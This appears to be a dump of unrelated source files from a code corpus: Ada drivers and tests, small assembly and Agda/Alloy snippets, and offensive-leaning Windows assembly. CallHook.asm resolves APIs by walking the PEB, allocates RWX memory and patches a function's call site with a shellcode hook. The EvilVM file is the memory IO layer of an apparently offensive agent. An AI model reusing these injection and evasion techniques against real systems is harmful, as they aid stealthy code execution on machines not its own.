-- Global state to be able to exit all recursive calls
procedure Read
(Directory : String;
File_Pattern : String;
Suffix_Pattern : String)
is
File_Regexp : constant Regexp.Regexp :=
Regexp.Compile (File_Pattern, Glob => True);
Dir : Dir_Type;
Buffer : String (1 .. 2_048);
Last : Natural;
begin
if OS_Lib.Is_Directory (Directory & Dir_Separator) then
Open (Dir, Directory & Dir_Separator);
Dir_Iterator : loop
Read (Dir, Buffer, Last);
exit Dir_Iterator when Last = 0;
declare
Dir_Entry : constant String := Buffer (1 .. Last);
Pathname : constant String :=
Directory & Dir_Separator & Dir_Entry;
begin
-- Handle "." and ".." only if explicit use in the
-- File_Pattern.
if not
((Dir_Entry = "." and then File_Pattern /= ".")
or else
(Dir_Entry = ".." and then File_Pattern /= ".."))
then
if Regexp.Match (Dir_Entry, File_Regexp) then
if Suffix_Pattern = "" then
-- No more matching needed, call user's callback
Index := Index + 1;
begin
Action (Pathname, Index, Quit);
exception
when others =>
Close (Dir);
raise;
end;
else
-- Down one level
Next_Level
(Directory & Dir_Separator & Dir_Entry,
Suffix_Pattern);
end if;
end if;
end if;
end;
-- Exit if Quit set by call to Action, either at this level
-- or at at some lower recursive call to Next_Level.
exit Dir_Iterator when Quit;
end loop Dir_Iterator;
Close (Dir);
end if;
end Read;
-- Start of processing for Wildcard_Iterator
begin
if Path = "" then
return;
end if;
Next_Level ("", Path);
end Wildcard_Iterator;
end GNAT.Directory_Operations.Iteration;
|
programs/oeis/059/A059169.asm | neoneye/loda | 22 | 15869 | <filename>programs/oeis/059/A059169.asm
; A059169: Number of partitions of n into 3 parts which form the sides of a nondegenerate isosceles triangle.
; 0,0,1,0,1,1,2,1,2,2,3,2,3,3,4,3,4,4,5,4,5,5,6,5,6,6,7,6,7,7,8,7,8,8,9,8,9,9,10,9,10,10,11,10,11,11,12,11,12,12,13,12,13,13,14,13,14,14,15,14,15,15,16,15,16,16,17,16,17,17,18,17,18,18,19,18,19,19,20,19,20,20,21,20,21,21,22,21,22,22,23,22,23,23,24,23,24,24,25,24
mov $1,$0
add $1,1
mod $1,4
add $0,$1
div $0,4
|
inne/kod_ascii_znaku.asm | adamczykpiotr/AGH_WIMiIP_Architektury_Komputerow | 1 | 173946 | <filename>inne/kod_ascii_znaku.asm
extern scanf
extern printf
section .data
znak db ""
napis1 db "Wpisz znak: ",0
format db "%c",0
format2 db "Kod ASCII wprowadzonego znaku to %d",10,0
liczba dd 0
section .text
global main
main:
xor rax, rax
mov rdi, napis1
call printf
xor rax, rax
mov rdi, format
mov rsi, znak
call scanf
xor ebx, ebx
mov bl, [znak]
mov [liczba], ebx
xor rax, rax
mov rdi, format2
mov rsi, [liczba]
call printf
_koniec:
mov rax, 1
mov rbx, 0
int 80h
|
Cubical/Foundations/Equiv/Reasoning.agda | bijan2005/univalent-foundations | 0 | 4654 | <filename>Cubical/Foundations/Equiv/Reasoning.agda
{-# OPTIONS --cubical --no-import-sorts --safe #-}
module Cubical.Foundations.Equiv.Reasoning where
open import Cubical.Foundations.Prelude using (refl; sym)
open import Cubical.Relation.Binary
-- Properties of equivalence
≃-reflexive : Reflexive _≃_
≃-reflexive = ?
|
CallHook.asm | 4B4DB4B3/CallSpoof | 0 | 80663 | format PE GUI
entry start
include 'win32a.inc'
section '.data' data readable writeable
kernel32 dd ?
target dd ?
section '.text' code readable writeable executable
start:
mov eax, [fs:0x30]
mov eax, [eax+0x0c]
mov esi, [eax+0x14]
lodsd
; xor esi, eax
; xor eax, esi
; xor esi, eax
xchg esi, eax
lodsd
mov eax, [eax+0x10]
mov [kernel32], eax
push 0
push 'ss00'
sub word[esp+0x2], '0'
push 'ddre'
push 'rocA'
push 'GetP'
push esp
push [kernel32]
call [GetProcAddress]
mov [target], eax
push [target]
call sizeOfFunction
push ebx
push PAGE_EXECUTE_READWRITE
push eax
push [target]
call [VirtualProtect]
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_RESERVE
push shellcode.size
push 0
call [VirtualAlloc]
mov dword[hook+0x1], eax
xor ecx, ecx
searchCall:
inc ecx
mov eax, [target]
add eax, ecx
mov eax, [eax]
cmp ax, 0x15FF
jnz searchCall
mov ebx, [target]
add ebx, ecx
mov eax, [ebx]
mov [origcode], eax
add ebx, 2
mov eax, [ebx]
mov [origcode+2], eax
mov ebx, [target]
add ebx, ecx
mov eax, [hook]
mov dword[ebx], eax
add ebx, 2
mov eax, [hook+0x2]
mov dword[ebx], eax
mov eax, [target]
add eax, ecx
mov [retCode+0x1], eax
mov esi, shellcode
mov edi, [hook+0x1]
mov ecx, shellcode.size
rep movsb
call [target]
ret
hook: push target
ret
hook.size = $ - hook
shellcode:
mov eax, 0
origcode: rb 6
origcode.size = $ - origcode
retCode:
mov eax, 0x0
add eax, hook.size
jmp eax
shellcode.size = $ - shellcode
sizeOfFunction:
push ecx
xor ecx, ecx
lp: inc ecx
mov eax, [esp+0x8]
add eax, ecx
mov eax, [eax]
cmp ax, 0xCCCC
jne lp
mov eax, ecx
pop ecx
ret
section '.idata' import readable writeable
library kernel, 'kernel32.dll'
import kernel,\
VirtualProtect, 'VirtualProtect',\
VirtualAlloc, 'VirtualAlloc',\
GetProcAddress, 'GetProcAddress'
|
alloy4fun_models/trainstlt/models/1/kpLaCdcCY4CHz7ns7.als | Kaixi26/org.alloytools.alloy | 0 | 4023 | open main
pred idkpLaCdcCY4CHz7ns7_prop2 {
eventually all s: Signal | s in Green
}
pred __repair { idkpLaCdcCY4CHz7ns7_prop2 }
check __repair { idkpLaCdcCY4CHz7ns7_prop2 <=> prop2o } |
programs/oeis/208/A208259.asm | neoneye/loda | 22 | 96982 | <gh_stars>10-100
; A208259: Numbers starting and ending with digit 1.
; 1,11,101,111,121,131,141,151,161,171,181,191,1001,1011,1021,1031,1041,1051,1061,1071,1081,1091,1101,1111,1121,1131,1141,1151,1161,1171,1181,1191,1201,1211,1221,1231,1241,1251,1261,1271,1281,1291,1301,1311,1321,1331,1341,1351,1361,1371,1381,1391,1401,1411,1421,1431,1441,1451,1461,1471,1481,1491,1501,1511,1521,1531,1541,1551,1561,1571,1581,1591,1601,1611,1621,1631,1641,1651,1661,1671,1681,1691,1701,1711,1721,1731,1741,1751,1761,1771,1781,1791,1801,1811,1821,1831,1841,1851,1861,1871
mov $2,$0
add $2,1
mov $7,$0
lpb $2
mov $0,$7
sub $2,1
sub $0,$2
mov $3,$0
mov $5,2
lpb $5
mov $0,$3
sub $5,1
add $0,$5
sub $0,2
mov $8,1
lpb $0
mul $8,10
trn $0,$8
lpe
mov $6,$5
lpb $6
mov $4,$8
sub $6,1
lpe
lpe
lpb $3
mov $3,0
sub $4,$8
lpe
mov $8,$4
div $8,9
mul $8,8
add $8,1
add $1,$8
lpe
sub $1,1
mul $1,10
add $1,1
mov $0,$1
|
arch/ARM/STM32/svd/stm32wb55x/stm32_svd-flash.ads | morbos/Ada_Drivers_Library | 2 | 23694 | <reponame>morbos/Ada_Drivers_Library<filename>arch/ARM/STM32/svd/stm32wb55x/stm32_svd-flash.ads
-- This spec has been automatically generated from STM32WB55x.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with HAL;
with System;
package STM32_SVD.FLASH is
pragma Preelaborate;
---------------
-- Registers --
---------------
subtype ACR_LATENCY_Field is HAL.UInt3;
type ACR_Register is record
LATENCY : ACR_LATENCY_Field := 16#0#;
-- unspecified
Reserved_3_7 : HAL.UInt5 := 16#0#;
PRFTEN : Boolean := False;
ICEN : Boolean := False;
DCEN : Boolean := False;
ICRST : Boolean := False;
DCRST : Boolean := False;
-- unspecified
Reserved_13_14 : HAL.UInt2 := 16#0#;
PES : Boolean := False;
EMPTY : Boolean := False;
-- unspecified
Reserved_17_31 : HAL.UInt15 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for ACR_Register use record
LATENCY at 0 range 0 .. 2;
Reserved_3_7 at 0 range 3 .. 7;
PRFTEN at 0 range 8 .. 8;
ICEN at 0 range 9 .. 9;
DCEN at 0 range 10 .. 10;
ICRST at 0 range 11 .. 11;
DCRST at 0 range 12 .. 12;
Reserved_13_14 at 0 range 13 .. 14;
PES at 0 range 15 .. 15;
EMPTY at 0 range 16 .. 16;
Reserved_17_31 at 0 range 17 .. 31;
end record;
type SR_Register is record
EOP : Boolean := False;
OPERR : Boolean := False;
-- unspecified
Reserved_2_2 : HAL.Bit := 16#0#;
PROGERR : Boolean := False;
WRPERR : Boolean := False;
PGAERR : Boolean := False;
SIZERR : Boolean := False;
PGSERR : Boolean := False;
MISERR : Boolean := False;
FASTERR : Boolean := False;
-- unspecified
Reserved_10_12 : HAL.UInt3 := 16#0#;
OPTNV : Boolean := False;
RDERR : Boolean := False;
OPTVERR : Boolean := False;
BSY : Boolean := False;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
CFGBSY : Boolean := False;
PESD : Boolean := False;
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SR_Register use record
EOP at 0 range 0 .. 0;
OPERR at 0 range 1 .. 1;
Reserved_2_2 at 0 range 2 .. 2;
PROGERR at 0 range 3 .. 3;
WRPERR at 0 range 4 .. 4;
PGAERR at 0 range 5 .. 5;
SIZERR at 0 range 6 .. 6;
PGSERR at 0 range 7 .. 7;
MISERR at 0 range 8 .. 8;
FASTERR at 0 range 9 .. 9;
Reserved_10_12 at 0 range 10 .. 12;
OPTNV at 0 range 13 .. 13;
RDERR at 0 range 14 .. 14;
OPTVERR at 0 range 15 .. 15;
BSY at 0 range 16 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
CFGBSY at 0 range 18 .. 18;
PESD at 0 range 19 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
subtype CR_PNB_Field is HAL.UInt8;
type CR_Register is record
PG : Boolean := False;
PER : Boolean := False;
MER : Boolean := False;
PNB : CR_PNB_Field := 16#0#;
-- unspecified
Reserved_11_15 : HAL.UInt5 := 16#0#;
STRT : Boolean := False;
OPTSTRT : Boolean := False;
FSTPG : Boolean := False;
-- unspecified
Reserved_19_23 : HAL.UInt5 := 16#0#;
EOPIE : Boolean := False;
ERRIE : Boolean := False;
RDERRIE : Boolean := False;
OBL_LAUNCH : Boolean := False;
-- unspecified
Reserved_28_29 : HAL.UInt2 := 16#0#;
OPTLOCK : Boolean := False;
LOCK : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CR_Register use record
PG at 0 range 0 .. 0;
PER at 0 range 1 .. 1;
MER at 0 range 2 .. 2;
PNB at 0 range 3 .. 10;
Reserved_11_15 at 0 range 11 .. 15;
STRT at 0 range 16 .. 16;
OPTSTRT at 0 range 17 .. 17;
FSTPG at 0 range 18 .. 18;
Reserved_19_23 at 0 range 19 .. 23;
EOPIE at 0 range 24 .. 24;
ERRIE at 0 range 25 .. 25;
RDERRIE at 0 range 26 .. 26;
OBL_LAUNCH at 0 range 27 .. 27;
Reserved_28_29 at 0 range 28 .. 29;
OPTLOCK at 0 range 30 .. 30;
LOCK at 0 range 31 .. 31;
end record;
subtype ECCR_ADDR_ECC_Field is HAL.UInt17;
subtype ECCR_CPUID_Field is HAL.UInt3;
type ECCR_Register is record
ADDR_ECC : ECCR_ADDR_ECC_Field := 16#0#;
-- unspecified
Reserved_17_19 : HAL.UInt3 := 16#0#;
SYSF_ECC : Boolean := False;
-- unspecified
Reserved_21_23 : HAL.UInt3 := 16#0#;
ECCCIE : Boolean := False;
-- unspecified
Reserved_25_25 : HAL.Bit := 16#0#;
CPUID : ECCR_CPUID_Field := 16#0#;
-- unspecified
Reserved_29_29 : HAL.Bit := 16#0#;
ECCC : Boolean := False;
ECCD : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for ECCR_Register use record
ADDR_ECC at 0 range 0 .. 16;
Reserved_17_19 at 0 range 17 .. 19;
SYSF_ECC at 0 range 20 .. 20;
Reserved_21_23 at 0 range 21 .. 23;
ECCCIE at 0 range 24 .. 24;
Reserved_25_25 at 0 range 25 .. 25;
CPUID at 0 range 26 .. 28;
Reserved_29_29 at 0 range 29 .. 29;
ECCC at 0 range 30 .. 30;
ECCD at 0 range 31 .. 31;
end record;
subtype OPTR_RDP_Field is HAL.UInt8;
subtype OPTR_BOR_LEV_Field is HAL.UInt3;
subtype OPTR_AGC_TRIM_Field is HAL.UInt3;
type OPTR_Register is record
RDP : OPTR_RDP_Field := 16#0#;
ESE : Boolean := False;
BOR_LEV : OPTR_BOR_LEV_Field := 16#0#;
nRST_STOP : Boolean := False;
nRST_STDBY : Boolean := False;
nRST_SHDW : Boolean := False;
-- unspecified
Reserved_15_15 : HAL.Bit := 16#0#;
IWDG_SW : Boolean := False;
IWDG_STOP : Boolean := False;
IWDG_STBY : Boolean := False;
WWDG_SW : Boolean := False;
-- unspecified
Reserved_20_22 : HAL.UInt3 := 16#0#;
nBOOT1 : Boolean := False;
SRAM2_PE : Boolean := False;
SRAM2_RST : Boolean := False;
nSWBOOT0 : Boolean := False;
nBOOT0 : Boolean := False;
-- unspecified
Reserved_28_28 : HAL.Bit := 16#0#;
AGC_TRIM : OPTR_AGC_TRIM_Field := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OPTR_Register use record
RDP at 0 range 0 .. 7;
ESE at 0 range 8 .. 8;
BOR_LEV at 0 range 9 .. 11;
nRST_STOP at 0 range 12 .. 12;
nRST_STDBY at 0 range 13 .. 13;
nRST_SHDW at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
IWDG_SW at 0 range 16 .. 16;
IWDG_STOP at 0 range 17 .. 17;
IWDG_STBY at 0 range 18 .. 18;
WWDG_SW at 0 range 19 .. 19;
Reserved_20_22 at 0 range 20 .. 22;
nBOOT1 at 0 range 23 .. 23;
SRAM2_PE at 0 range 24 .. 24;
SRAM2_RST at 0 range 25 .. 25;
nSWBOOT0 at 0 range 26 .. 26;
nBOOT0 at 0 range 27 .. 27;
Reserved_28_28 at 0 range 28 .. 28;
AGC_TRIM at 0 range 29 .. 31;
end record;
subtype PCROP1ASR_PCROP1A_STRT_Field is HAL.UInt9;
type PCROP1ASR_Register is record
PCROP1A_STRT : PCROP1ASR_PCROP1A_STRT_Field := 16#0#;
-- unspecified
Reserved_9_31 : HAL.UInt23 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PCROP1ASR_Register use record
PCROP1A_STRT at 0 range 0 .. 8;
Reserved_9_31 at 0 range 9 .. 31;
end record;
subtype PCROP1AER_PCROP1A_END_Field is HAL.UInt9;
type PCROP1AER_Register is record
PCROP1A_END : PCROP1AER_PCROP1A_END_Field := 16#0#;
-- unspecified
Reserved_9_30 : HAL.UInt22 := 16#0#;
PCROP_RDP : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PCROP1AER_Register use record
PCROP1A_END at 0 range 0 .. 8;
Reserved_9_30 at 0 range 9 .. 30;
PCROP_RDP at 0 range 31 .. 31;
end record;
subtype WRP1AR_WRP1A_STRT_Field is HAL.UInt8;
subtype WRP1AR_WRP1A_END_Field is HAL.UInt8;
type WRP1AR_Register is record
WRP1A_STRT : WRP1AR_WRP1A_STRT_Field := 16#0#;
-- unspecified
Reserved_8_15 : HAL.UInt8 := 16#0#;
WRP1A_END : WRP1AR_WRP1A_END_Field := 16#0#;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for WRP1AR_Register use record
WRP1A_STRT at 0 range 0 .. 7;
Reserved_8_15 at 0 range 8 .. 15;
WRP1A_END at 0 range 16 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
subtype WRP1BR_WRP1B_STRT_Field is HAL.UInt8;
subtype WRP1BR_WRP1B_END_Field is HAL.UInt8;
type WRP1BR_Register is record
WRP1B_STRT : WRP1BR_WRP1B_STRT_Field := 16#0#;
-- unspecified
Reserved_8_15 : HAL.UInt8 := 16#0#;
WRP1B_END : WRP1BR_WRP1B_END_Field := 16#0#;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for WRP1BR_Register use record
WRP1B_STRT at 0 range 0 .. 7;
Reserved_8_15 at 0 range 8 .. 15;
WRP1B_END at 0 range 16 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
subtype PCROP1BSR_PCROP1B_STRT_Field is HAL.UInt9;
type PCROP1BSR_Register is record
PCROP1B_STRT : PCROP1BSR_PCROP1B_STRT_Field := 16#0#;
-- unspecified
Reserved_9_31 : HAL.UInt23 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PCROP1BSR_Register use record
PCROP1B_STRT at 0 range 0 .. 8;
Reserved_9_31 at 0 range 9 .. 31;
end record;
subtype PCROP1BER_PCROP1B_END_Field is HAL.UInt9;
type PCROP1BER_Register is record
PCROP1B_END : PCROP1BER_PCROP1B_END_Field := 16#0#;
-- unspecified
Reserved_9_31 : HAL.UInt23 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for PCROP1BER_Register use record
PCROP1B_END at 0 range 0 .. 8;
Reserved_9_31 at 0 range 9 .. 31;
end record;
subtype IPCCBR_IPCCDBA_Field is HAL.UInt14;
type IPCCBR_Register is record
IPCCDBA : IPCCBR_IPCCDBA_Field := 16#0#;
-- unspecified
Reserved_14_31 : HAL.UInt18 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for IPCCBR_Register use record
IPCCDBA at 0 range 0 .. 13;
Reserved_14_31 at 0 range 14 .. 31;
end record;
type C2ACR_Register is record
-- unspecified
Reserved_0_7 : HAL.UInt8 := 16#0#;
PRFTEN : Boolean := False;
ICEN : Boolean := False;
-- unspecified
Reserved_10_10 : HAL.Bit := 16#0#;
ICRST : Boolean := False;
-- unspecified
Reserved_12_14 : HAL.UInt3 := 16#0#;
PES : Boolean := False;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for C2ACR_Register use record
Reserved_0_7 at 0 range 0 .. 7;
PRFTEN at 0 range 8 .. 8;
ICEN at 0 range 9 .. 9;
Reserved_10_10 at 0 range 10 .. 10;
ICRST at 0 range 11 .. 11;
Reserved_12_14 at 0 range 12 .. 14;
PES at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
type C2SR_Register is record
EOP : Boolean := False;
OPERR : Boolean := False;
-- unspecified
Reserved_2_2 : HAL.Bit := 16#0#;
PROGERR : Boolean := False;
WRPERR : Boolean := False;
PGAERR : Boolean := False;
SIZERR : Boolean := False;
PGSERR : Boolean := False;
MISERR : Boolean := False;
FASTERR : Boolean := False;
-- unspecified
Reserved_10_13 : HAL.UInt4 := 16#0#;
RDERR : Boolean := False;
-- unspecified
Reserved_15_15 : HAL.Bit := 16#0#;
BSY : Boolean := False;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
CFGBSY : Boolean := False;
PESD : Boolean := False;
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for C2SR_Register use record
EOP at 0 range 0 .. 0;
OPERR at 0 range 1 .. 1;
Reserved_2_2 at 0 range 2 .. 2;
PROGERR at 0 range 3 .. 3;
WRPERR at 0 range 4 .. 4;
PGAERR at 0 range 5 .. 5;
SIZERR at 0 range 6 .. 6;
PGSERR at 0 range 7 .. 7;
MISERR at 0 range 8 .. 8;
FASTERR at 0 range 9 .. 9;
Reserved_10_13 at 0 range 10 .. 13;
RDERR at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
BSY at 0 range 16 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
CFGBSY at 0 range 18 .. 18;
PESD at 0 range 19 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
subtype C2CR_PNB_Field is HAL.UInt8;
type C2CR_Register is record
PG : Boolean := False;
PER : Boolean := False;
MER : Boolean := False;
PNB : C2CR_PNB_Field := 16#0#;
-- unspecified
Reserved_11_15 : HAL.UInt5 := 16#0#;
STRT : Boolean := False;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
FSTPG : Boolean := False;
-- unspecified
Reserved_19_23 : HAL.UInt5 := 16#0#;
EOPIE : Boolean := False;
ERRIE : Boolean := False;
RDERRIE : Boolean := False;
-- unspecified
Reserved_27_31 : HAL.UInt5 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for C2CR_Register use record
PG at 0 range 0 .. 0;
PER at 0 range 1 .. 1;
MER at 0 range 2 .. 2;
PNB at 0 range 3 .. 10;
Reserved_11_15 at 0 range 11 .. 15;
STRT at 0 range 16 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
FSTPG at 0 range 18 .. 18;
Reserved_19_23 at 0 range 19 .. 23;
EOPIE at 0 range 24 .. 24;
ERRIE at 0 range 25 .. 25;
RDERRIE at 0 range 26 .. 26;
Reserved_27_31 at 0 range 27 .. 31;
end record;
subtype SFR_SFSA_Field is HAL.UInt8;
type SFR_Register is record
SFSA : SFR_SFSA_Field := 16#0#;
FSD : Boolean := False;
-- unspecified
Reserved_9_11 : HAL.UInt3 := 16#0#;
DDS : Boolean := False;
-- unspecified
Reserved_13_31 : HAL.UInt19 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SFR_Register use record
SFSA at 0 range 0 .. 7;
FSD at 0 range 8 .. 8;
Reserved_9_11 at 0 range 9 .. 11;
DDS at 0 range 12 .. 12;
Reserved_13_31 at 0 range 13 .. 31;
end record;
subtype SRRVR_SBRV_Field is HAL.UInt18;
subtype SRRVR_SBRSA_Field is HAL.UInt5;
subtype SRRVR_SNBRSA_Field is HAL.UInt5;
type SRRVR_Register is record
SBRV : SRRVR_SBRV_Field := 16#0#;
SBRSA : SRRVR_SBRSA_Field := 16#0#;
BRSD : Boolean := False;
-- unspecified
Reserved_24_24 : HAL.Bit := 16#0#;
SNBRSA : SRRVR_SNBRSA_Field := 16#0#;
NBRSD : Boolean := False;
C2OPT : Boolean := False;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SRRVR_Register use record
SBRV at 0 range 0 .. 17;
SBRSA at 0 range 18 .. 22;
BRSD at 0 range 23 .. 23;
Reserved_24_24 at 0 range 24 .. 24;
SNBRSA at 0 range 25 .. 29;
NBRSD at 0 range 30 .. 30;
C2OPT at 0 range 31 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
type FLASH_Peripheral is record
ACR : aliased ACR_Register;
KEYR : aliased HAL.UInt32;
OPTKEYR : aliased HAL.UInt32;
SR : aliased SR_Register;
CR : aliased CR_Register;
ECCR : aliased ECCR_Register;
OPTR : aliased OPTR_Register;
PCROP1ASR : aliased PCROP1ASR_Register;
PCROP1AER : aliased PCROP1AER_Register;
WRP1AR : aliased WRP1AR_Register;
WRP1BR : aliased WRP1BR_Register;
PCROP1BSR : aliased PCROP1BSR_Register;
PCROP1BER : aliased PCROP1BER_Register;
IPCCBR : aliased IPCCBR_Register;
C2ACR : aliased C2ACR_Register;
C2SR : aliased C2SR_Register;
C2CR : aliased C2CR_Register;
SFR : aliased SFR_Register;
SRRVR : aliased SRRVR_Register;
end record
with Volatile;
for FLASH_Peripheral use record
ACR at 16#0# range 0 .. 31;
KEYR at 16#8# range 0 .. 31;
OPTKEYR at 16#C# range 0 .. 31;
SR at 16#10# range 0 .. 31;
CR at 16#14# range 0 .. 31;
ECCR at 16#18# range 0 .. 31;
OPTR at 16#20# range 0 .. 31;
PCROP1ASR at 16#24# range 0 .. 31;
PCROP1AER at 16#28# range 0 .. 31;
WRP1AR at 16#2C# range 0 .. 31;
WRP1BR at 16#30# range 0 .. 31;
PCROP1BSR at 16#34# range 0 .. 31;
PCROP1BER at 16#38# range 0 .. 31;
IPCCBR at 16#3C# range 0 .. 31;
C2ACR at 16#5C# range 0 .. 31;
C2SR at 16#60# range 0 .. 31;
C2CR at 16#64# range 0 .. 31;
SFR at 16#80# range 0 .. 31;
SRRVR at 16#84# range 0 .. 31;
end record;
FLASH_Periph : aliased FLASH_Peripheral
with Import, Address => System'To_Address (16#58004000#);
end STM32_SVD.FLASH;
|
alloy4fun_models/trashltl/models/1/PRYrcrJmoGggBGPbH.als | Kaixi26/org.alloytools.alloy | 0 | 4584 | open main
pred idPRYrcrJmoGggBGPbH_prop2 {
}
pred __repair { idPRYrcrJmoGggBGPbH_prop2 }
check __repair { idPRYrcrJmoGggBGPbH_prop2 <=> prop2o } |
UNIT_TESTS/init_002.adb | io7m/coreland-openal-ada | 1 | 10865 | <filename>UNIT_TESTS/init_002.adb
with Test;
with OpenAL.Context;
with OpenAL.Context.Error;
procedure init_002 is
package ALC renames OpenAL.Context;
package ALC_Error renames OpenAL.Context.Error;
Device : ALC.Device_t;
Context : ALC.Context_t;
OK : Boolean;
TC : Test.Context_t;
use type ALC.Device_t;
use type ALC.Context_t;
use type ALC_Error.Error_t;
begin
Test.Initialize
(Test_Context => TC,
Program => "init_002",
Test_DB => "TEST_DB",
Test_Results => "TEST_RESULTS");
Device := ALC.Open_Default_Device;
pragma Assert (Device /= ALC.Invalid_Device);
pragma Assert (ALC_Error.Get_Error (Device) = ALC_Error.No_Error);
Context := ALC.Create_Context (Device);
pragma Assert (Context /= ALC.Invalid_Context);
pragma Assert (ALC_Error.Get_Error (Device) = ALC_Error.No_Error);
OK := ALC.Make_Context_Current (Context);
pragma Assert (OK);
pragma Assert (ALC_Error.Get_Error (Device) = ALC_Error.No_Error);
OK := ALC.Make_Context_Current (ALC.Null_Context);
pragma Assert (OK);
pragma Assert (ALC_Error.Get_Error (Device) = ALC_Error.No_Error);
--
-- According to the 1.1 spec, this should return False.
-- Unfortunately, no implementation actually does that...
--
ALC.Close_Device (Device);
Test.Check (TC, 11, Device = ALC.Invalid_Device, "Device = ALC.Invalid_Device");
end init_002;
|
agent/io/memory.asm | jephthai/EvilVM | 141 | 37 | <gh_stars>100-1000
;;; memory.asm
;;;
;;; An IO stream layer implemented around shared memory. It should make sense
;;; in both inter-process and same-process shared memory regions.
;;; Put a number on the stack identifying which IO engine this is. Each IO layer
;;; needs to have its own unique ID. This allows payloads to make decisions
;;; based on the configured IO.
start_def ASM, engine, "engine"
pushthing 4
end_def engine
;;; This function will be called before any IO is performed. This can be used to
;;; set up streams, initialize IO layer global variables, make network connections,
;;; etc.
;;;
;;; In the case of the memory I/O layer, we should have received a pointer to the
;;; memory buffer used for transfer in the first argument to the compiler's entry
;;; point. This has been saved in the arbitrary data pointer in the TEB.
start_def ASM, initio, "initio"
mov rbp, rsp
sub rsp, 0x20
and rsp, -16
xor ebx, ebx
AddGlobal G_IOVAL, rbx
mov bl, 0x28
mov rcx, [gs:rbx]
AddGlobal G_IOBUF, rcx
xor ecx, ecx ; clear the ADP so later code won't try to use it
mov [gs:rbx], rcx
;; Get function pointers for WinINet interface
InlineString "api-ms-win-core-synch-l1-2-0.dll", rcx, rax
call W32_LoadLibraryA
AddGlobal G_SYNCHDLL, rax
mov rsi, W32_GetProcAddress
mov rdi, G_SYNCHDLL
GetProcAddress "WaitOnAddress", W32_WaitOnAddress
mov rsp, rbp
end_def initio
%assign dbgoffset1 code_initio - main
%warning Initio is at dbgoffset1 bytes
;;; Take a value from the stack and emit it to the output stream as a single byte.
start_def ASM, emit, "emit"
mov rbp, rsp
sub rsp, 0x20
and rsp, -16
mov rbx, G_IOBUF ; get pointer to IO buffer
.lp:
mov al, [rbx+0] ; get flag for outbound byte waiting
and al, al ; test it
jz .continue ; no data waitin to be read by upstream
mov rax, [rbx]
mov G_IOVAL, rax
mov rcx, rbx
lea rdx, [r15 + G_IOVAL_OFF]
mov r8, 1
mov r9, 100
call W32_WaitOnAddress
jmp .lp
.continue:
mov al, dil ; byte to send
mov ah, 255 ; set flag
xchg ah, al
mov [rbx+0], ax ; send the byte
popthing rsp
mov rsp, rbp
end_def emit
%assign where code_emit - main
%warning Emit is at byte where
;;; Read a single byte from the input stream and put its value on top of the stkack.
start_def ASM, key, "key"
mov rbp, rsp
sub rsp, 0x20
and rsp, -16
mov rbx, G_IOBUF
.lp:
mov al, [rbx+2] ; get flag for byte available
and al, al ; test it
jnz .continue ; there's a byte available to read
mov rax, [rbx + 2]
mov G_IOVAL, rax
lea rcx, [rbx + 2]
lea rdx, [r15 + G_IOVAL_OFF]
mov r8, 1
mov r9, 100
call W32_WaitOnAddress
jmp .lp
.continue:
xor eax, eax ; blank the A register
mov al, [rbx+3] ; get the byte
pushthing rax ; put it on the stack
xor ax, ax ; get 16 bits of zero
mov [rbx+2], ax ; clear the flag
mov rsp, rbp
end_def key
;;; Given a buffer and length, send multiple bytes to the output stream. This is
;;; largely provided as a convenience for situations where IO can be optimized
;;; for block communications.
start_def ASM, type, "type"
popthing rcx
popthing rsi
.loop:
pushthing [rsi]
and rdi, 0xff
push rcx
push rsi
call code_emit
pop rsi
pop rcx
inc rsi
loop .loop
end_def type
;;; Enable and disable echoing of input to the output stream. Some IO
;;; layers may prefer to allow this to be configurable. Leave them empty
;;; if they don't make sense for your IO layer.
start_def ASM, echooff, "-echo"
end_def echooff
start_def ASM, echoon, "+echo"
end_def echoon
